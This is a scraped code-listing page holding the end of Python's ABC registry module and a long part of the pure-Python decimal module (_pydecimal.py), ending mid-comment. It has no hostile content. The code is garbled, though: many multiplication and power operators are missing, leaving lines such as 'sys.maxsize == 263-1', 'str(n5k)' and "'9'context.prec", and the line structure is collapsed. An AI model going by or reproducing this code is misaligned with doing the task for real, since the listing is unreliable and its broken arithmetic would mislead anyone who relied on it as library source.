_dump_registry(cls, file=None): """Debug helper to print the ABC registry.""" print(f"Class: {cls.__module__}.{cls.__qualname__}", file=file) print(f"Inv. counter: {get_cache_token()}", file=file) for name in cls.__dict__: if name.startswith("_abc_"): value = getattr(cls, name) if isinstance(value, WeakSet): value = set(value) print(f"{name}: {value!r}", file=file) def _abc_registry_clear(cls): """Clear the registry (for debugging or testing).""" cls._abc_registry.clear() def _abc_caches_clear(cls): """Clear the caches (for debugging or testing).""" cls._abc_cache.clear() cls._abc_negative_cache.clear() def __instancecheck__(cls, instance): """Override for isinstance(instance, cls).""" # Inline the cache checking subclass = instance.__class__ if subclass in cls._abc_cache: return True subtype = type(instance) if subtype is subclass: if (cls._abc_negative_cache_version == ABCMeta._abc_invalidation_counter and subclass in cls._abc_negative_cache): return False # Fall back to the subclass check. return cls.__subclasscheck__(subclass) return any(cls.__subclasscheck__(c) for c in (subclass, subtype)) def __subclasscheck__(cls, subclass): """Override for issubclass(subclass, cls).""" if not isinstance(subclass, type): raise TypeError('issubclass() arg 1 must be a class') # Check cache if subclass in cls._abc_cache: return True # Check negative cache; may have to invalidate if cls._abc_negative_cache_version < ABCMeta._abc_invalidation_counter: # Invalidate the negative cache cls._abc_negative_cache = WeakSet() cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter elif subclass in cls._abc_negative_cache: return False # Check the subclass hook ok = cls.__subclasshook__(subclass) if ok is not NotImplemented: assert isinstance(ok, bool) if ok: cls._abc_cache.add(subclass) else: cls._abc_negative_cache.add(subclass) return ok # Check if it's a direct subclass if cls in getattr(subclass, '__mro__', ()): cls._abc_cache.add(subclass) return True # Check if it's a subclass of a registered class (recursive) for rcls in cls._abc_registry: if issubclass(subclass, rcls): cls._abc_cache.add(subclass) return True # Check if it's a subclass of a subclass (recursive) for scls in cls.__subclasses__(): if issubclass(subclass, scls): cls._abc_cache.add(subclass) return True # No dice; update negative cache cls._abc_negative_cache.add(subclass) return False	6.04 KB	2024-04-17 17:55
📄 _pydecimal.py # Copyright (c) 2004 Python Software Foundation. # All rights reserved. # Written by Eric Price <eprice at tjhsst.edu> # and Facundo Batista <facundo at taniquetil.com.ar> # and Raymond Hettinger <python at rcn.com> # and Aahz <aahz at pobox.com> # and Tim Peters # This module should be kept in sync with the latest updates of the # IBM specification as it evolves. Those updates will be treated # as bug fixes (deviation from the spec is a compatibility, usability # bug) and will be backported. At this point the spec is stabilizing # and the updates are becoming fewer, smaller, and less significant. """ This is an implementation of decimal floating point arithmetic based on the General Decimal Arithmetic Specification: http://speleotrove.com/decimal/decarith.html and IEEE standard 854-1987: http://en.wikipedia.org/wiki/IEEE_854-1987 Decimal floating point has finite precision with arbitrarily large bounds. The purpose of this module is to support arithmetic using familiar "schoolhouse" rules and to avoid some of the tricky representation issues associated with binary floating point. The package is especially useful for financial applications or for contexts where users have expectations that are at odds with binary floating point (for instance, in binary floating point, 1.00 % 0.1 gives 0.09999999999999995 instead of 0.0; Decimal('1.00') % Decimal('0.1') returns the expected Decimal('0.00')). Here are some examples of using the decimal module: >>> from decimal import * >>> setcontext(ExtendedContext) >>> Decimal(0) Decimal('0') >>> Decimal('1') Decimal('1') >>> Decimal('-.0123') Decimal('-0.0123') >>> Decimal(123456) Decimal('123456') >>> Decimal('123.45e12345678') Decimal('1.2345E+12345680') >>> Decimal('1.33') + Decimal('1.27') Decimal('2.60') >>> Decimal('12.34') + Decimal('3.87') - Decimal('18.41') Decimal('-2.20') >>> dig = Decimal(1) >>> print(dig / Decimal(3)) 0.333333333 >>> getcontext().prec = 18 >>> print(dig / Decimal(3)) 0.333333333333333333 >>> print(dig.sqrt()) 1 >>> print(Decimal(3).sqrt()) 1.73205080756887729 >>> print(Decimal(3) ** 123) 4.85192780976896427E+58 >>> inf = Decimal(1) / Decimal(0) >>> print(inf) Infinity >>> neginf = Decimal(-1) / Decimal(0) >>> print(neginf) -Infinity >>> print(neginf + inf) NaN >>> print(neginf * inf) -Infinity >>> print(dig / 0) Infinity >>> getcontext().traps[DivisionByZero] = 1 >>> print(dig / 0) Traceback (most recent call last): ... ... ... decimal.DivisionByZero: x / 0 >>> c = Context() >>> c.traps[InvalidOperation] = 0 >>> print(c.flags[InvalidOperation]) 0 >>> c.divide(Decimal(0), Decimal(0)) Decimal('NaN') >>> c.traps[InvalidOperation] = 1 >>> print(c.flags[InvalidOperation]) 1 >>> c.flags[InvalidOperation] = 0 >>> print(c.flags[InvalidOperation]) 0 >>> print(c.divide(Decimal(0), Decimal(0))) Traceback (most recent call last): ... ... ... decimal.InvalidOperation: 0 / 0 >>> print(c.flags[InvalidOperation]) 1 >>> c.flags[InvalidOperation] = 0 >>> c.traps[InvalidOperation] = 0 >>> print(c.divide(Decimal(0), Decimal(0))) NaN >>> print(c.flags[InvalidOperation]) 1 >>> """ __all__ = [ # Two major classes 'Decimal', 'Context', # Named tuple representation 'DecimalTuple', # Contexts 'DefaultContext', 'BasicContext', 'ExtendedContext', # Exceptions 'DecimalException', 'Clamped', 'InvalidOperation', 'DivisionByZero', 'Inexact', 'Rounded', 'Subnormal', 'Overflow', 'Underflow', 'FloatOperation', # Exceptional conditions that trigger InvalidOperation 'DivisionImpossible', 'InvalidContext', 'ConversionSyntax', 'DivisionUndefined', # Constants for use in setting up contexts 'ROUND_DOWN', 'ROUND_HALF_UP', 'ROUND_HALF_EVEN', 'ROUND_CEILING', 'ROUND_FLOOR', 'ROUND_UP', 'ROUND_HALF_DOWN', 'ROUND_05UP', # Functions for manipulating contexts 'setcontext', 'getcontext', 'localcontext', # Limits for the C version for compatibility 'MAX_PREC', 'MAX_EMAX', 'MIN_EMIN', 'MIN_ETINY', # C version: compile time choice that enables the thread local context (deprecated, now always true) 'HAVE_THREADS', # C version: compile time choice that enables the coroutine local context 'HAVE_CONTEXTVAR' ] __xname__ = __name__ # sys.modules lookup (--without-threads) __name__ = 'decimal' # For pickling __version__ = '1.70' # Highest version of the spec this complies with # See http://speleotrove.com/decimal/ __libmpdec_version__ = "2.4.2" # compatible libmpdec version import math as _math import numbers as _numbers import sys try: from collections import namedtuple as _namedtuple DecimalTuple = _namedtuple('DecimalTuple', 'sign digits exponent') except ImportError: DecimalTuple = lambda args: args # Rounding ROUND_DOWN = 'ROUND_DOWN' ROUND_HALF_UP = 'ROUND_HALF_UP' ROUND_HALF_EVEN = 'ROUND_HALF_EVEN' ROUND_CEILING = 'ROUND_CEILING' ROUND_FLOOR = 'ROUND_FLOOR' ROUND_UP = 'ROUND_UP' ROUND_HALF_DOWN = 'ROUND_HALF_DOWN' ROUND_05UP = 'ROUND_05UP' # Compatibility with the C version HAVE_THREADS = True HAVE_CONTEXTVAR = True if sys.maxsize == 263-1: MAX_PREC = 999999999999999999 MAX_EMAX = 999999999999999999 MIN_EMIN = -999999999999999999 else: MAX_PREC = 425000000 MAX_EMAX = 425000000 MIN_EMIN = -425000000 MIN_ETINY = MIN_EMIN - (MAX_PREC-1) # Errors class DecimalException(ArithmeticError): """Base exception class. Used exceptions derive from this. If an exception derives from another exception besides this (such as Underflow (Inexact, Rounded, Subnormal) that indicates that it is only called if the others are present. This isn't actually used for anything, though. handle -- Called when context._raise_error is called and the trap_enabler is not set. First argument is self, second is the context. More arguments can be given, those being after the explanation in _raise_error (For example, context._raise_error(NewError, '(-x)!', self._sign) would call NewError().handle(context, self._sign).) To define a new exception, it should be sufficient to have it derive from DecimalException. """ def handle(self, context, args): pass class Clamped(DecimalException): """Exponent of a 0 changed to fit bounds. This occurs and signals clamped if the exponent of a result has been altered in order to fit the constraints of a specific concrete representation. This may occur when the exponent of a zero result would be outside the bounds of a representation, or when a large normal number would have an encoded exponent that cannot be represented. In this latter case, the exponent is reduced to fit and the corresponding number of zero digits are appended to the coefficient ("fold-down"). """ class InvalidOperation(DecimalException): """An invalid operation was performed. Various bad things cause this: Something creates a signaling NaN -INF + INF 0 * (+-)INF (+-)INF / (+-)INF x % 0 (+-)INF % x x._rescale( non-integer ) sqrt(-x) , x > 0 0 0 x (non-integer) x ** (+-)INF An operand is invalid The result of the operation after these is a quiet positive NaN, except when the cause is a signaling NaN, in which case the result is also a quiet NaN, but with the original sign, and an optional diagnostic information. """ def handle(self, context, args): if args: ans = _dec_from_triple(args[0]._sign, args[0]._int, 'n', True) return ans._fix_nan(context) return _NaN class ConversionSyntax(InvalidOperation): """Trying to convert badly formed string. This occurs and signals invalid-operation if a string is being converted to a number and it does not conform to the numeric string syntax. The result is [0,qNaN]. """ def handle(self, context, args): return _NaN class DivisionByZero(DecimalException, ZeroDivisionError): """Division by 0. This occurs and signals division-by-zero if division of a finite number by zero was attempted (during a divide-integer or divide operation, or a power operation with negative right-hand operand), and the dividend was not zero. The result of the operation is [sign,inf], where sign is the exclusive or of the signs of the operands for divide, or is 1 for an odd power of -0, for power. """ def handle(self, context, sign, args): return _SignedInfinity[sign] class DivisionImpossible(InvalidOperation): """Cannot perform the division adequately. This occurs and signals invalid-operation if the integer result of a divide-integer or remainder operation had too many digits (would be longer than precision). The result is [0,qNaN]. """ def handle(self, context, args): return _NaN class DivisionUndefined(InvalidOperation, ZeroDivisionError): """Undefined result of division. This occurs and signals invalid-operation if division by zero was attempted (during a divide-integer, divide, or remainder operation), and the dividend is also zero. The result is [0,qNaN]. """ def handle(self, context, args): return _NaN class Inexact(DecimalException): """Had to round, losing information. This occurs and signals inexact whenever the result of an operation is not exact (that is, it needed to be rounded and any discarded digits were non-zero), or if an overflow or underflow condition occurs. The result in all cases is unchanged. The inexact signal may be tested (or trapped) to determine if a given operation (or sequence of operations) was inexact. """ class InvalidContext(InvalidOperation): """Invalid context. Unknown rounding, for example. This occurs and signals invalid-operation if an invalid context was detected during an operation. This can occur if contexts are not checked on creation and either the precision exceeds the capability of the underlying concrete representation or an unknown or unsupported rounding was specified. These aspects of the context need only be checked when the values are required to be used. The result is [0,qNaN]. """ def handle(self, context, args): return _NaN class Rounded(DecimalException): """Number got rounded (not necessarily changed during rounding). This occurs and signals rounded whenever the result of an operation is rounded (that is, some zero or non-zero digits were discarded from the coefficient), or if an overflow or underflow condition occurs. The result in all cases is unchanged. The rounded signal may be tested (or trapped) to determine if a given operation (or sequence of operations) caused a loss of precision. """ class Subnormal(DecimalException): """Exponent < Emin before rounding. This occurs and signals subnormal whenever the result of a conversion or operation is subnormal (that is, its adjusted exponent is less than Emin, before any rounding). The result in all cases is unchanged. The subnormal signal may be tested (or trapped) to determine if a given or operation (or sequence of operations) yielded a subnormal result. """ class Overflow(Inexact, Rounded): """Numerical overflow. This occurs and signals overflow if the adjusted exponent of a result (from a conversion or from an operation that is not an attempt to divide by zero), after rounding, would be greater than the largest value that can be handled by the implementation (the value Emax). The result depends on the rounding mode: For round-half-up and round-half-even (and for round-half-down and round-up, if implemented), the result of the operation is [sign,inf], where sign is the sign of the intermediate result. For round-down, the result is the largest finite number that can be represented in the current precision, with the sign of the intermediate result. For round-ceiling, the result is the same as for round-down if the sign of the intermediate result is 1, or is [0,inf] otherwise. For round-floor, the result is the same as for round-down if the sign of the intermediate result is 0, or is [1,inf] otherwise. In all cases, Inexact and Rounded will also be raised. """ def handle(self, context, sign, args): if context.rounding in (ROUND_HALF_UP, ROUND_HALF_EVEN, ROUND_HALF_DOWN, ROUND_UP): return _SignedInfinity[sign] if sign == 0: if context.rounding == ROUND_CEILING: return _SignedInfinity[sign] return _dec_from_triple(sign, '9'context.prec, context.Emax-context.prec+1) if sign == 1: if context.rounding == ROUND_FLOOR: return _SignedInfinity[sign] return _dec_from_triple(sign, '9'context.prec, context.Emax-context.prec+1) class Underflow(Inexact, Rounded, Subnormal): """Numerical underflow with result rounded to 0. This occurs and signals underflow if a result is inexact and the adjusted exponent of the result would be smaller (more negative) than the smallest value that can be handled by the implementation (the value Emin). That is, the result is both inexact and subnormal. The result after an underflow will be a subnormal number rounded, if necessary, so that its exponent is not less than Etiny. This may result in 0 with the sign of the intermediate result and an exponent of Etiny. In all cases, Inexact, Rounded, and Subnormal will also be raised. """ class FloatOperation(DecimalException, TypeError): """Enable stricter semantics for mixing floats and Decimals. If the signal is not trapped (default), mixing floats and Decimals is permitted in the Decimal() constructor, context.create_decimal() and all comparison operators. Both conversion and comparisons are exact. Any occurrence of a mixed operation is silently recorded by setting FloatOperation in the context flags. Explicit conversions with Decimal.from_float() or context.create_decimal_from_float() do not set the flag. Otherwise (the signal is trapped), only equality comparisons and explicit conversions are silent. All other mixed operations raise FloatOperation. """ # List of public traps and flags _signals = [Clamped, DivisionByZero, Inexact, Overflow, Rounded, Underflow, InvalidOperation, Subnormal, FloatOperation] # Map conditions (per the spec) to signals _condition_map = {ConversionSyntax:InvalidOperation, DivisionImpossible:InvalidOperation, DivisionUndefined:InvalidOperation, InvalidContext:InvalidOperation} # Valid rounding modes _rounding_modes = (ROUND_DOWN, ROUND_HALF_UP, ROUND_HALF_EVEN, ROUND_CEILING, ROUND_FLOOR, ROUND_UP, ROUND_HALF_DOWN, ROUND_05UP) ##### Context Functions ################################################## # The getcontext() and setcontext() function manage access to a thread-local # current context. import contextvars _current_context_var = contextvars.ContextVar('decimal_context') def getcontext(): """Returns this thread's context. If this thread does not yet have a context, returns a new context and sets this thread's context. New contexts are copies of DefaultContext. """ try: return _current_context_var.get() except LookupError: context = Context() _current_context_var.set(context) return context def setcontext(context): """Set this thread's context to context.""" if context in (DefaultContext, BasicContext, ExtendedContext): context = context.copy() context.clear_flags() _current_context_var.set(context) del contextvars # Don't contaminate the namespace def localcontext(ctx=None): """Return a context manager for a copy of the supplied context Uses a copy of the current context if no context is specified The returned context manager creates a local decimal context in a with statement: def sin(x): with localcontext() as ctx: ctx.prec += 2 # Rest of sin calculation algorithm # uses a precision 2 greater than normal return +s # Convert result to normal precision def sin(x): with localcontext(ExtendedContext): # Rest of sin calculation algorithm # uses the Extended Context from the # General Decimal Arithmetic Specification return +s # Convert result to normal context >>> setcontext(DefaultContext) >>> print(getcontext().prec) 28 >>> with localcontext(): ... ctx = getcontext() ... ctx.prec += 2 ... print(ctx.prec) ... 30 >>> with localcontext(ExtendedContext): ... print(getcontext().prec) ... 9 >>> print(getcontext().prec) 28 """ if ctx is None: ctx = getcontext() return _ContextManager(ctx) ##### Decimal class ####################################################### # Do not subclass Decimal from numbers.Real and do not register it as such # (because Decimals are not interoperable with floats). See the notes in # numbers.py for more detail. class Decimal(object): """Floating point class for decimal arithmetic.""" __slots__ = ('_exp','_int','_sign', '_is_special') # Generally, the value of the Decimal instance is given by # (-1)_sign _int * 10*_exp # Special values are signified by _is_special == True # We're immutable, so use __new__ not __init__ def __new__(cls, value="0", context=None): """Create a decimal point instance. >>> Decimal('3.14') # string input Decimal('3.14') >>> Decimal((0, (3, 1, 4), -2)) # tuple (sign, digit_tuple, exponent) Decimal('3.14') >>> Decimal(314) # int Decimal('314') >>> Decimal(Decimal(314)) # another decimal instance Decimal('314') >>> Decimal(' 3.14 \\n') # leading and trailing whitespace okay Decimal('3.14') """ # Note that the coefficient, self._int, is actually stored as # a string rather than as a tuple of digits. This speeds up # the "digits to integer" and "integer to digits" conversions # that are used in almost every arithmetic operation on # Decimals. This is an internal detail: the as_tuple function # and the Decimal constructor still deal with tuples of # digits. self = object.__new__(cls) # From a string # REs insist on real strings, so we can too. if isinstance(value, str): m = _parser(value.strip().replace("_", "")) if m is None: if context is None: context = getcontext() return context._raise_error(ConversionSyntax, "Invalid literal for Decimal: %r" % value) if m.group('sign') == "-": self._sign = 1 else: self._sign = 0 intpart = m.group('int') if intpart is not None: # finite number fracpart = m.group('frac') or '' exp = int(m.group('exp') or '0') self._int = str(int(intpart+fracpart)) self._exp = exp - len(fracpart) self._is_special = False else: diag = m.group('diag') if diag is not None: # NaN self._int = str(int(diag or '0')).lstrip('0') if m.group('signal'): self._exp = 'N' else: self._exp = 'n' else: # infinity self._int = '0' self._exp = 'F' self._is_special = True return self # From an integer if isinstance(value, int): if value >= 0: self._sign = 0 else: self._sign = 1 self._exp = 0 self._int = str(abs(value)) self._is_special = False return self # From another decimal if isinstance(value, Decimal): self._exp = value._exp self._sign = value._sign self._int = value._int self._is_special = value._is_special return self # From an internal working value if isinstance(value, _WorkRep): self._sign = value.sign self._int = str(value.int) self._exp = int(value.exp) self._is_special = False return self # tuple/list conversion (possibly from as_tuple()) if isinstance(value, (list,tuple)): if len(value) != 3: raise ValueError('Invalid tuple size in creation of Decimal ' 'from list or tuple. The list or tuple ' 'should have exactly three elements.') # process sign. The isinstance test rejects floats if not (isinstance(value[0], int) and value[0] in (0,1)): raise ValueError("Invalid sign. The first value in the tuple " "should be an integer; either 0 for a " "positive number or 1 for a negative number.") self._sign = value[0] if value[2] == 'F': # infinity: value[1] is ignored self._int = '0' self._exp = value[2] self._is_special = True else: # process and validate the digits in value[1] digits = [] for digit in value[1]: if isinstance(digit, int) and 0 <= digit <= 9: # skip leading zeros if digits or digit != 0: digits.append(digit) else: raise ValueError("The second value in the tuple must " "be composed of integers in the range " "0 through 9.") if value[2] in ('n', 'N'): # NaN: digits form the diagnostic self._int = ''.join(map(str, digits)) self._exp = value[2] self._is_special = True elif isinstance(value[2], int): # finite number: digits give the coefficient self._int = ''.join(map(str, digits or [0])) self._exp = value[2] self._is_special = False else: raise ValueError("The third value in the tuple must " "be an integer, or one of the " "strings 'F', 'n', 'N'.") return self if isinstance(value, float): if context is None: context = getcontext() context._raise_error(FloatOperation, "strict semantics for mixing floats and Decimals are " "enabled") value = Decimal.from_float(value) self._exp = value._exp self._sign = value._sign self._int = value._int self._is_special = value._is_special return self raise TypeError("Cannot convert %r to Decimal" % value) @classmethod def from_float(cls, f): """Converts a float to a decimal number, exactly. Note that Decimal.from_float(0.1) is not the same as Decimal('0.1'). Since 0.1 is not exactly representable in binary floating point, the value is stored as the nearest representable value which is 0x1.999999999999ap-4. The exact equivalent of the value in decimal is 0.1000000000000000055511151231257827021181583404541015625. >>> Decimal.from_float(0.1) Decimal('0.1000000000000000055511151231257827021181583404541015625') >>> Decimal.from_float(float('nan')) Decimal('NaN') >>> Decimal.from_float(float('inf')) Decimal('Infinity') >>> Decimal.from_float(-float('inf')) Decimal('-Infinity') >>> Decimal.from_float(-0.0) Decimal('-0') """ if isinstance(f, int): # handle integer inputs sign = 0 if f >= 0 else 1 k = 0 coeff = str(abs(f)) elif isinstance(f, float): if _math.isinf(f) or _math.isnan(f): return cls(repr(f)) if _math.copysign(1.0, f) == 1.0: sign = 0 else: sign = 1 n, d = abs(f).as_integer_ratio() k = d.bit_length() - 1 coeff = str(n5k) else: raise TypeError("argument must be int or float.") result = _dec_from_triple(sign, coeff, -k) if cls is Decimal: return result else: return cls(result) def _isnan(self): """Returns whether the number is not actually one. 0 if a number 1 if NaN 2 if sNaN """ if self._is_special: exp = self._exp if exp == 'n': return 1 elif exp == 'N': return 2 return 0 def _isinfinity(self): """Returns whether the number is infinite 0 if finite or not a number 1 if +INF -1 if -INF """ if self._exp == 'F': if self._sign: return -1 return 1 return 0 def _check_nans(self, other=None, context=None): """Returns whether the number is not actually one. if self, other are sNaN, signal if self, other are NaN return nan return 0 Done before operations. """ self_is_nan = self._isnan() if other is None: other_is_nan = False else: other_is_nan = other._isnan() if self_is_nan or other_is_nan: if context is None: context = getcontext() if self_is_nan == 2: return context._raise_error(InvalidOperation, 'sNaN', self) if other_is_nan == 2: return context._raise_error(InvalidOperation, 'sNaN', other) if self_is_nan: return self._fix_nan(context) return other._fix_nan(context) return 0 def _compare_check_nans(self, other, context): """Version of _check_nans used for the signaling comparisons compare_signal, __le__, __lt__, __ge__, __gt__. Signal InvalidOperation if either self or other is a (quiet or signaling) NaN. Signaling NaNs take precedence over quiet NaNs. Return 0 if neither operand is a NaN. """ if context is None: context = getcontext() if self._is_special or other._is_special: if self.is_snan(): return context._raise_error(InvalidOperation, 'comparison involving sNaN', self) elif other.is_snan(): return context._raise_error(InvalidOperation, 'comparison involving sNaN', other) elif self.is_qnan(): return context._raise_error(InvalidOperation, 'comparison involving NaN', self) elif other.is_qnan(): return context._raise_error(InvalidOperation, 'comparison involving NaN', other) return 0 def __bool__(self): """Return True if self is nonzero; otherwise return False. NaNs and infinities are considered nonzero. """ return self._is_special or self._int != '0' def _cmp(self, other): """Compare the two non-NaN decimal instances self and other. Returns -1 if self < other, 0 if self == other and 1 if self > other. This routine is for internal use only.""" if self._is_special or other._is_special: self_inf = self._isinfinity() other_inf = other._isinfinity() if self_inf == other_inf: return 0 elif self_inf < other_inf: return -1 else: return 1 # check for zeros; Decimal('0') == Decimal('-0') if not self: if not other: return 0 else: return -((-1)other._sign) if not other: return (-1)*self._sign # If different signs, neg one is less if other._sign < self._sign: return -1 if self._sign < other._sign: return 1 self_adjusted = self.adjusted() other_adjusted = other.adjusted() if self_adjusted == other_adjusted: self_padded = self._int + '0'(self._exp - other._exp) other_padded = other._int + '0'(other._exp - self._exp) if self_padded == other_padded: return 0 elif self_padded < other_padded: return -(-1)self._sign else: return (-1)self._sign elif self_adjusted > other_adjusted: return (-1)self._sign else: # self_adjusted < other_adjusted return -((-1)self._sign) # Note: The Decimal standard doesn't cover rich comparisons for # Decimals. In particular, the specification is silent on the # subject of what should happen for a comparison involving a NaN. # We take the following approach: # # == comparisons involving a quiet NaN always return False # != comparisons involving a quiet NaN always return True # == or != comparisons involving a signaling NaN signal # InvalidOperation, and return False or True as above if the # InvalidOperation is not trapped. # <, >, <= and >= comparisons involving a (quiet or signaling) # NaN signal InvalidOperation, and return False if the # InvalidOperation is not trapped. # # This behavior is designed to conform as closely as possible to # that specified by IEEE 754. def __eq__(self, other, context=None): self, other = _convert_for_comparison(self, other, equality_op=True) if other is NotImplemented: return other if self._check_nans(other, context): return False return self._cmp(other) == 0 def __lt__(self, other, context=None): self, other = _convert_for_comparison(self, other) if other is NotImplemented: return other ans = self._compare_check_nans(other, context) if ans: return False return self._cmp(other) < 0 def __le__(self, other, context=None): self, other = _convert_for_comparison(self, other) if other is NotImplemented: return other ans = self._compare_check_nans(other, context) if ans: return False return self._cmp(other) <= 0 def __gt__(self, other, context=None): self, other = _convert_for_comparison(self, other) if other is NotImplemented: return other ans = self._compare_check_nans(other, context) if ans: return False return self._cmp(other) > 0 def __ge__(self, other, context=None): self, other = _convert_for_comparison(self, other) if other is NotImplemented: return other ans = self._compare_check_nans(other, context) if ans: return False return self._cmp(other) >= 0 def compare(self, other, context=None): """Compare self to other. Return a decimal value: a or b is a NaN ==> Decimal('NaN') a < b ==> Decimal('-1') a == b ==> Decimal('0') a > b ==> Decimal('1') """ other = _convert_other(other, raiseit=True) # Compare(NaN, NaN) = NaN if (self._is_special or other and other._is_special): ans = self._check_nans(other, context) if ans: return ans return Decimal(self._cmp(other)) def __hash__(self): """x.__hash__() <==> hash(x)""" # In order to make sure that the hash of a Decimal instance # agrees with the hash of a numerically equal integer, float # or Fraction, we follow the rules for numeric hashes outlined # in the documentation. (See library docs, 'Built-in Types'). if self._is_special: if self.is_snan(): raise TypeError('Cannot hash a signaling NaN value.') elif self.is_nan(): return _PyHASH_NAN else: if self._sign: return -_PyHASH_INF else: return _PyHASH_INF if self._exp >= 0: exp_hash = pow(10, self._exp, _PyHASH_MODULUS) else: exp_hash = pow(_PyHASH_10INV, -self._exp, _PyHASH_MODULUS) hash_ = int(self._int) exp_hash % _PyHASH_MODULUS ans = hash_ if self >= 0 else -hash_ return -2 if ans == -1 else ans def as_tuple(self): """Represents the number as a triple tuple. To show the internals exactly as they are. """ return DecimalTuple(self._sign, tuple(map(int, self._int)), self._exp) def as_integer_ratio(self): """Express a finite Decimal instance in the form n / d. Returns a pair (n, d) of integers. When called on an infinity or NaN, raises OverflowError or ValueError respectively. >>> Decimal('3.14').as_integer_ratio() (157, 50) >>> Decimal('-123e5').as_integer_ratio() (-12300000, 1) >>> Decimal('0.00').as_integer_ratio() (0, 1) """ if self._is_special: if self.is_nan(): raise ValueError("cannot convert NaN to integer ratio") else: raise OverflowError("cannot convert Infinity to integer ratio") if not self: return 0, 1 # Find n, d in lowest terms such that abs(self) == n / d; # we'll deal with the sign later. n = int(self._int) if self._exp >= 0: # self is an integer. n, d = n * 10self._exp, 1 else: # Find d2, d5 such that abs(self) = n / (2d2 * 5d5). d5 = -self._exp while d5 > 0 and n % 5 == 0: n //= 5 d5 -= 1 # (n & -n).bit_length() - 1 counts trailing zeros in binary # representation of n (provided n is nonzero). d2 = -self._exp shift2 = min((n & -n).bit_length() - 1, d2) if shift2: n >>= shift2 d2 -= shift2 d = 5d5 << d2 if self._sign: n = -n return n, d def __repr__(self): """Represents the number as an instance of Decimal.""" # Invariant: eval(repr(d)) == d return "Decimal('%s')" % str(self) def __str__(self, eng=False, context=None): """Return string representation of the number in scientific notation. Captures all of the information in the underlying representation. """ sign = ['', '-'][self._sign] if self._is_special: if self._exp == 'F': return sign + 'Infinity' elif self._exp == 'n': return sign + 'NaN' + self._int else: # self._exp == 'N' return sign + 'sNaN' + self._int # number of digits of self._int to left of decimal point leftdigits = self._exp + len(self._int) # dotplace is number of digits of self._int to the left of the # decimal point in the mantissa of the output string (that is, # after adjusting the exponent) if self._exp <= 0 and leftdigits > -6: # no exponent required dotplace = leftdigits elif not eng: # usual scientific notation: 1 digit on left of the point dotplace = 1 elif self._int == '0': # engineering notation, zero dotplace = (leftdigits + 1) % 3 - 1 else: # engineering notation, nonzero dotplace = (leftdigits - 1) % 3 + 1 if dotplace <= 0: intpart = '0' fracpart = '.' + '0'(-dotplace) + self._int elif dotplace >= len(self._int): intpart = self._int+'0'(dotplace-len(self._int)) fracpart = '' else: intpart = self._int[:dotplace] fracpart = '.' + self._int[dotplace:] if leftdigits == dotplace: exp = '' else: if context is None: context = getcontext() exp = ['e', 'E'][context.capitals] + "%+d" % (leftdigits-dotplace) return sign + intpart + fracpart + exp def to_eng_string(self, context=None): """Convert to a string, using engineering notation if an exponent is needed. Engineering notation has an exponent which is a multiple of 3. This can leave up to 3 digits to the left of the decimal place and may require the addition of either one or two trailing zeros. """ return self.__str__(eng=True, context=context) def __neg__(self, context=None): """Returns a copy with the sign switched. Rounds, if it has reason. """ if self._is_special: ans = self._check_nans(context=context) if ans: return ans if context is None: context = getcontext() if not self and context.rounding != ROUND_FLOOR: # -Decimal('0') is Decimal('0'), not Decimal('-0'), except # in ROUND_FLOOR rounding mode. ans = self.copy_abs() else: ans = self.copy_negate() return ans._fix(context) def __pos__(self, context=None): """Returns a copy, unless it is a sNaN. Rounds the number (if more than precision digits) """ if self._is_special: ans = self._check_nans(context=context) if ans: return ans if context is None: context = getcontext() if not self and context.rounding != ROUND_FLOOR: # + (-0) = 0, except in ROUND_FLOOR rounding mode. ans = self.copy_abs() else: ans = Decimal(self) return ans._fix(context) def __abs__(self, round=True, context=None): """Returns the absolute value of self. If the keyword argument 'round' is false, do not round. The expression self.__abs__(round=False) is equivalent to self.copy_abs(). """ if not round: return self.copy_abs() if self._is_special: ans = self._check_nans(context=context) if ans: return ans if self._sign: ans = self.__neg__(context=context) else: ans = self.__pos__(context=context) return ans def __add__(self, other, context=None): """Returns self + other. -INF + INF (or the reverse) cause InvalidOperation errors. """ other = _convert_other(other) if other is NotImplemented: return other if context is None: context = getcontext() if self._is_special or other._is_special: ans = self._check_nans(other, context) if ans: return ans if self._isinfinity(): # If both INF, same sign => same as both, opposite => error. if self._sign != other._sign and other._isinfinity(): return context._raise_error(InvalidOperation, '-INF + INF') return Decimal(self) if other._isinfinity(): return Decimal(other) # Can't both be infinity here exp = min(self._exp, other._exp) negativezero = 0 if context.rounding == ROUND_FLOOR and self._sign != other._sign: # If the answer is 0, the sign should be negative, in this case. negativezero = 1 if not self and not other: sign = min(self._sign, other._sign) if negativezero: sign = 1 ans = _dec_from_triple(sign, '0', exp) ans = ans._fix(context) return ans if not self: exp = max(exp, other._exp - context.prec-1) ans = other._rescale(exp, context.rounding) ans = ans._fix(context) return ans if not other: exp = max(exp, self._exp - context.prec-1) ans = self._rescale(exp, context.rounding) ans = ans._fix(context) return ans op1 = _WorkRep(self) op2 = _WorkRep(other) op1, op2 = _normalize(op1, op2, context.prec) result = _WorkRep() if op1.sign != op2.sign: # Equal and opposite if op1.int == op2.int: ans = _dec_from_triple(negativezero, '0', exp) ans = ans._fix(context) return ans if op1.int < op2.int: op1, op2 = op2, op1 # OK, now abs(op1) > abs(op2) if op1.sign == 1: result.sign = 1 op1.sign, op2.sign = op2.sign, op1.sign else: result.sign = 0 # So we know the sign, and op1 > 0. elif op1.sign == 1: result.sign = 1 op1.sign, op2.sign = (0, 0) else: result.sign = 0 # Now, op1 > abs(op2) > 0 if op2.sign == 0: result.int = op1.int + op2.int else: result.int = op1.int - op2.int result.exp = op1.exp ans = Decimal(result) ans = ans._fix(context) return ans __radd__ = __add__ def __sub__(self, other, context=None): """Return self - other""" other = _convert_other(other) if other is NotImplemented: return other if self._is_special or other._is_special: ans = self._check_nans(other, context=context) if ans: return ans # self - other is computed as self + other.copy_negate() return self.__add__(other.copy_negate(), context=context) def __rsub__(self, other, context=None): """Return other - self""" other = _convert_other(other) if other is NotImplemented: return other return other.__sub__(self, context=context) def __mul__(self, other, context=None): """Return self * other. (+-) INF * 0 (or its reverse) raise InvalidOperation. """ other = _convert_other(other) if other is NotImplemented: return other if context is None: context = getcontext() resultsign = self._sign ^ other._sign if self._is_special or other._is_special: ans = self._check_nans(other, context) if ans: return ans if self._isinfinity(): if not other: return context._raise_error(InvalidOperation, '(+-)INF * 0') return _SignedInfinity[resultsign] if other._isinfinity(): if not self: return context._raise_error(InvalidOperation, '0 * (+-)INF') return _SignedInfinity[resultsign] resultexp = self._exp + other._exp # Special case for multiplying by zero if not self or not other: ans = _dec_from_triple(resultsign, '0', resultexp) # Fixing in case the exponent is out of bounds ans = ans._fix(context) return ans # Special case for multiplying by power of 